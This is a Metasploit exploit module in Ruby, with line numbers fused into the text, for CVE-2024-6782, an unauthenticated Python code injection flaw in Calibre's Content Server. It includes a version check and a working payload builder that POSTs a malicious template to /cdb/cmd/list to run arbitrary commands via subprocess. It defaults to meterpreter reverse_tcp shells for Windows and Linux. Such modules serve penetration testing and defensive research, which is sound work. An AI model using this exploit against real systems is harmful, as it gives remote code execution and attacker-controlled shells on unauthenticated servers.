Path: blob/master/modules/exploits/multi/misc/calibre_exec.rb
31166 views
class MetasploitModule < Msf::Exploit::Remote1Rank = ExcellentRanking2include Msf::Exploit::Remote::HttpClient3prepend Msf::Exploit::Remote::AutoCheck45def initialize(info = {})6super(7update_info(8info,9'Name' => 'Calibre Python Code Injection (CVE-2024-6782)',10'Description' => %q{11This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.12},13'License' => MSF_LICENSE,14'Author' => [15'Amos Ng', # Discovery & PoC16'Michael Heinzl', # MSF exploit17],18'References' => [19[ 'URL', 'https://starlabs.sg/advisories/24/24-6782'],20[ 'CVE', '2024-6782']21],22'DisclosureDate' => '2024-07-31',2324'Payload' => {25'BadChars' => '\\'26},2728'Targets' => [29[30'Windows_Fetch',31{32'Arch' => [ ARCH_CMD ],33'Platform' => 'win',34'DefaultOptions' => {35'FETCH_COMMAND' => 'CURL',36'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'37},38'Type' => :win_fetch39}40],41[42'Linux Command',43{44'Platform' => [ 'unix', 'linux' ],45'Arch' => ARCH_CMD,46'Type' => :nix_cmd,47'DefaultOptions' => {48'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'49}50}51],5253],54'DefaultTarget' => 0,5556'Notes' => {57'Stability' => [CRASH_SAFE],58'Reliability' => [REPEATABLE_SESSION],59'SideEffects' => [IOC_IN_LOGS]60}61)62)6364register_options(65[66Opt::RPORT(8080)67]68)69end7071def check72begin73res = send_request_cgi({74'method' => 'GET',75'uri' => normalize_uri(target_uri.path)76})77rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError78return CheckCode::Unknown79end8081if res && res.code == 20082data = res.body.to_s83pattern = /CALIBRE_VERSION\s*=\s*"([^"]+)"/8485version = data.match(pattern)8687if version[1].nil?88return CheckCode::Unknown89else90vprint_status('Version retrieved: ' + version[1].to_s)91end9293if Rex::Version.new(version[1]).between?(Rex::Version.new('6.9.0'), Rex::Version.new('7.15.0'))94return CheckCode::Appears95else96return CheckCode::Safe97end98else99return CheckCode::Unknown100end101end102103def exploit104execute_command(payload.encoded)105end106107def execute_command(cmd)108print_status('Sending payload...')109exec_calibre(cmd)110print_status('Exploit finished, check thy shell.')111end112113def exec_calibre(cmd)114payload = '['\115'["template"], '\116'"", '\117'"", '\118'"", '\119'1,'\120'"python:def evaluate(a, b):\\n '\121'import subprocess\\n '\122'try:\\n '\123"return subprocess.check_output(['cmd.exe', '/c', '#{cmd}']).decode()\\n "\124'except Exception:\\n '\125"return subprocess.check_output(['sh', '-c', '#{cmd}']).decode()\""\126']'127128res = send_request_cgi({129'method' => 'POST',130'ctype' => 'application/json',131'data' => payload,132'uri' => normalize_uri(target_uri.path, 'cdb/cmd/list')133})134135if res && res.code == 200136print_good('Command successfully executed, check your shell.')137elsif res && res.code == 400138fail_with(Failure::UnexpectedReply, 'Server replied with a Bad Request response.')139end140end141142end143144145